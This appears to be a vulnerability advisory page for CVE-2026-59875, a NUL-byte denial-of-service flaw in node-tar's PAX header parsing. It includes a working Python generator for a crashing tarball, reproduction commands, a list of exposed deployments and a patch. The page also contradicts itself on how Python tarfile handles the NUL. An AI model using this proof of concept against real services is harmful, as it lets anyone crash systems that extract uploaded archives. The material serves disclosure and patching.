Kestrel
대시보드로 돌아가기
CVE-2026-59875MEDIUM· 5.3MITRENVDGHSA대응게시일: 2026. 07. 08.수정일: 2026. 07. 20.

node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.3medium

이론적 심각도 점수

EPSS
0.3%상위 78.6%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향낮음
버전별 점수
CVSS 3.15.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

상세 설명

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

bash
1// src/pax.ts:157
2const parseKVLine = (set: Record<string, unknown>, line: string) => {
3 const n = parseInt(line, 10)
4 if (n !== Buffer.byteLength(line) + 1) return set
5 line = line.slice((n + ' ').length)
6 const kv = line.split('=')
7 const r = kv.shift()
8 if (!r) return set
9 const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
10 const v = kv.join('=') // <-- NO NUL STRIP
11 set[k] =
12 /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
13 new Date(Number(v) * 1000)
14 : /^[0-9]+$/.test(v) ? +v
15 : v // <-- v with NULs lands here
16 return set
17}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

text
1// src/parse.ts:375
2case 'NextFileHasLongPath':
3case 'OldGnuLongPath': {
4 const ex = this[EX] ?? Object.create(null)
5 this[EX] = ex
6 ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied
7 break
8}
9case 'NextFileHasLongLinkpath': {
10 const ex = this[EX] || Object.create(null)
11 this[EX] = ex
12 ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied
13 break
14}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in:

  • src/unpack.tsfs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
  • src/list.ts (no crash — listing tolerates NUL in strings)
  • Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept

Artifacts

  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

python
1#!/usr/bin/env python3
2"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
3import os
4
5def cksum(b):
6 s = 0
7 for i, x in enumerate(b):
8 s += 0x20 if 148 <= i < 156 else x
9 return s
10
11def pad512(buf):
12 rem = len(buf) % 512
13 return buf + b'\0' * (512 - rem) if rem else buf
14
15def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
16 b = bytearray(512)
17 b[0:len(name[:100])] = name[:100]
18 b[100:108] = b'0000644\0'
19 b[108:116] = b'0001000\0'
20 b[116:124] = b'0001000\0'
21 b[124:136] = ('%011o ' % size).encode()
22 b[136:148] = ('%011o ' % 0).encode()
23 b[148:156] = b' '
24 b[156:157] = typeflag
25 b[157:157+len(linkpath[:100])] = linkpath[:100]
26 b[257:265] = b'ustar\x0000'
27 b[265:270] = b'root\0'
28 b[297:302] = b'root\0'
29 b[329:337] = b'0000000\0'
30 b[337:345] = b'0000000\0'
31 b[345:345+len(prefix[:155])] = prefix[:155]
32 s = cksum(b)
33 b[148:156] = ('%06o\0 ' % s).encode()
34 return bytes(b)
35
36def pax(records):
37 body = b''
38 for k, v in records:
39 kv = b' ' + k + b'=' + v + b'\n'
40 for digits in range(1, 8):
41 total = digits + len(kv)
42 if len(str(total)) == digits:
43 break
44 body += str(total).encode() + kv
45 return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)
46
47out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path
48out += hdr(b'placeholder', 1, b'0')
49out += pad512(b'A')
50out += b'\0' * 1024 # end-of-archive
51
52open('poc.tar', 'wb').write(out)

Reproduction

bash
1# 1. Generate tarball
2python3 poc1-pax-prefix.py # writes poc.tar (3 KB)
3
4# 2. Install vulnerable version
5mkdir repro && cd repro
6npm init -y && npm install tar@7.5.16
7
8# 3. Try to extract with documented try/catch — observe uncaught exception
9mkdir -p ./out
10node --input-type=module -e '
11 process.on("uncaughtException", e => {
12 console.log("UNCAUGHT:", e.code, "-", e.message);
13 process.exit(99);
14 });
15 import("tar").then(async tar => {
16 try {
17 await tar.x({ file: "../poc.tar", cwd: "./out" });
18 console.log("NORMAL_RETURN");
19 } catch (e) {
20 console.log("CAUGHT_BY_USER:", e.code);
21 }
22 });'

Observed output (verified 2026-06-23 against tar@7.5.16)

text
1UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
2Uint8Array, or URL without null bytes.
3Received '/.../out/visible.txt\x00hidden.txt'
4exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

text
1try {
2 await tar.x({ file: req.upload.path, cwd: tmpdir });
3} catch (e) {
4 return res.status(400).json({ error: 'bad archive' });
5}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

ToolResult for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf)Lists visible.txt (truncated at NUL)
bsdtar -tvfLists visible.txt (truncated at NUL)
Python tarfile.list()Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file})Emits raw NUL-bearing path (no crash)
node-tar tar.x({file})Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

bash
1--- a/src/pax.ts
2+++ b/src/pax.ts
3@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {
4
5 const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
6
7- const v = kv.join('=')
8+ const v = kv.join('=').replace(/\0.*$/, '')
9 set[k] =
10 /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
11 new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.